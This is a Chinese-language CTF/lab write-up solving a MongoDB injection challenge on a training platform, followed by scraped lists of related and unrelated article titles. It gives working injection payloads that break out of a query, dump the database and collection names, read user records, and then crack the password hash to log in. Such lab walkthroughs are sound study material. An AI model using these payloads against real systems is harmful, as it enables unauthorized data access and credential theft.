本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(MongoDB数据库)。

地址:http://124.70.71.251:46804/new_list.php?id=1(注意这里地址以失效仅供参考)

首先看这道题目是给出的源码。

如图:               

可以看到数据库的查询语句是:

var data= db.notice.findOne({'id':'$id'});return data;

传入的数据是$id。

注意到可以通过闭合 “({‘” 来构造payload 因为返回的数据是$obj[‘retval’][‘title’]与$obj[‘retval’][‘content’],可以尝试return({title:’1’,content:’2’})来构造回显测试。

构造Payload:

http://124.70.71.251:46804/new_list.php?id=1'});return ({title:'1',content:'2

成功显示“1”和“2”。可以在此来显示想要查询的数据。

接下来开始尝试构造payload查询当前数据库。构造payload:

http://124.70.71.251:46804/new_list.php?id=1'});return({title:tojson(db),content:'2

通过回显观察到数据库为mozhe_cms_Authority。

其中tojson是可以把数据变成json型数据,db为取当前数据库,即当前的数据库为mozhe_cms_Authority。

得到数据库名之后就可以尝试爆出数据库下的表名了。构造Payload:

http://124.70.71.251:46804/new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'2

其中db.getCollectionNames()返回一个包含当前数据库中所有集合名称的数组。

这样数据库的表名就被爆出来了,一共有三个表,分别为:Authority_confidential、notice、system_indexes。

最后我们就可以直接选取某个表爆出其中的数据了,构造Payload:

http://124.70.71.251:46804/new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2

Payload中的“db.Authority_confidential.find()[0]” db代表当前数据库,Authority_confidential 代表当前所要查询的表,find()查询函数,返回查询的结果,[0]代表取索引为0的数据。当然我们也可以将其改为1、2...直到查询不到数据为止。

这样最终我们就可以获得数据了,将密码进行MD5解密,返回登录页进行登录,划倒页面最下端就可以看到KEY了。如果第一个用户账号密码登录不了,我们就改变查询的索引“find()[1]”查询其他的用户账号密码登录即可。

MongoDB数据库注入-墨者学院(SQL手工注入漏洞测试(MongoDB数据库))相关推荐

  1. Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库). 地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已 ...

  2. SQLServer数据库注入-墨者学院(SQL手工注入漏洞测试(Sql Server数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Sql Server数据库). 地址:http://219.153.49.228:42295/new_list.asp?id=2( ...

  3. 墨者学院SQL手工注入靶场漏洞详解

    墨者学院SQL手工注入靶场漏洞详解 目录 靶场地址 步骤详解 目录 靶场地址 该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...

  4. 《墨者学院——SQL手工注入漏洞测试(MySQL数据库)》

    作者: susususuao 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 一:思路 背景介绍 安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭 ...

  5. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

  6. python sql注入脚本_python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  7. mysql的sql手工注入基于回显,SQL手工注入漏洞测试(Sql Server数据库)

    寻找注入点 and 1=1 ,and 2=1 判断字段 order by N# 虽然3报错,但4有回显.判断是4个字段 查看回显位置id=2 and 2=1 union all select 1,2, ...

  8. 墨者学院-SQL注入漏洞测试(报错盲注)

    继续攻克SQL注入类题目啦!!!今天的题目环境提示比较明显,也是比较常见的一种SQL注入漏洞类型,继续储备知识,撸起袖子加油干!!! 附上题目链接:https://www.mozhe.cn/bug/d ...

  9. 墨者学院-SQL注入漏洞测试(布尔盲注)

    决心按部就班.由浅入深地去剖析下sql注入题目提供的靶场环境,完善自身解题思路.本题靶场环境比较简单.也比较常见,没有设置严格的过滤规则,仅仅是限制了页面的回显功能,属于比较初级的sql注入题目.废话 ...

最新文章

  1. exec函数族的使用
  2. 算法提高课-搜索-Flood fill算法-AcWing 1106. 山峰和山谷:flood fill、bfs
  3. 计算机社团活动教学计划,社团活动教学计划(计算机平面设计).doc
  4. 微信支付接口开发过程
  5. .Net程序调试与追踪的一些方法
  6. JS跨域(ajax跨域、iframe跨域)解决方法及原理详解(jsonp)
  7. 实战05_SSM整合ActiveMQ支持多种类型消息
  8. 建立openstack quantum开发环境 .
  9. 【WPF学习】第四十九章 基本动画
  10. 有道云笔记Android app离线缓存,有道云笔记Android版升级 增加笔记离线阅读与收藏...
  11. C#中根据传入的字符串字段返回实体Lambda表达式
  12. 环境搭建:通过repo下载gerrit管理的code
  13. 1018. Binary Prefix Divisible By 5可被 5 整除的二进制前缀
  14. centos7修改ip(centos7修改时区)
  15. IDEA 插件开发 鼠标事件
  16. 漫步者耳机打开网页媒体自动关机
  17. 达梦DISQL执行脚本方法总结
  18. 阿里云建站保证百度收录3000+网站模板
  19. su必备插件_建模必备逆天Sketchup插件I
  20. 2022谷粒商城学习笔记(二十三)分布式事务

热门文章

  1. 记请求图片失败,状态码400
  2. 如何助力银行保险机构开展“侵害个人信息权益乱象专项整治工作”
  3. 数据分析--分类模型
  4. xf86-video-intel源码分析1 —— 源码目录结构概览
  5. Javascript的~(波浪号)用法
  6. 有效沟通bic法则_如何改变命运?这里有一份人生终极成功的规律-《种子法则》...
  7. PHP程序员开发工具
  8. 软文推广的方法有哪些,硬广告最有效的软文推广策略
  9. 【区块链】深度长文:2018新风口,区块链3.0时代即将来临?
  10. 32个Python爬虫项目让你一次吃到撑,只有要技术就有收入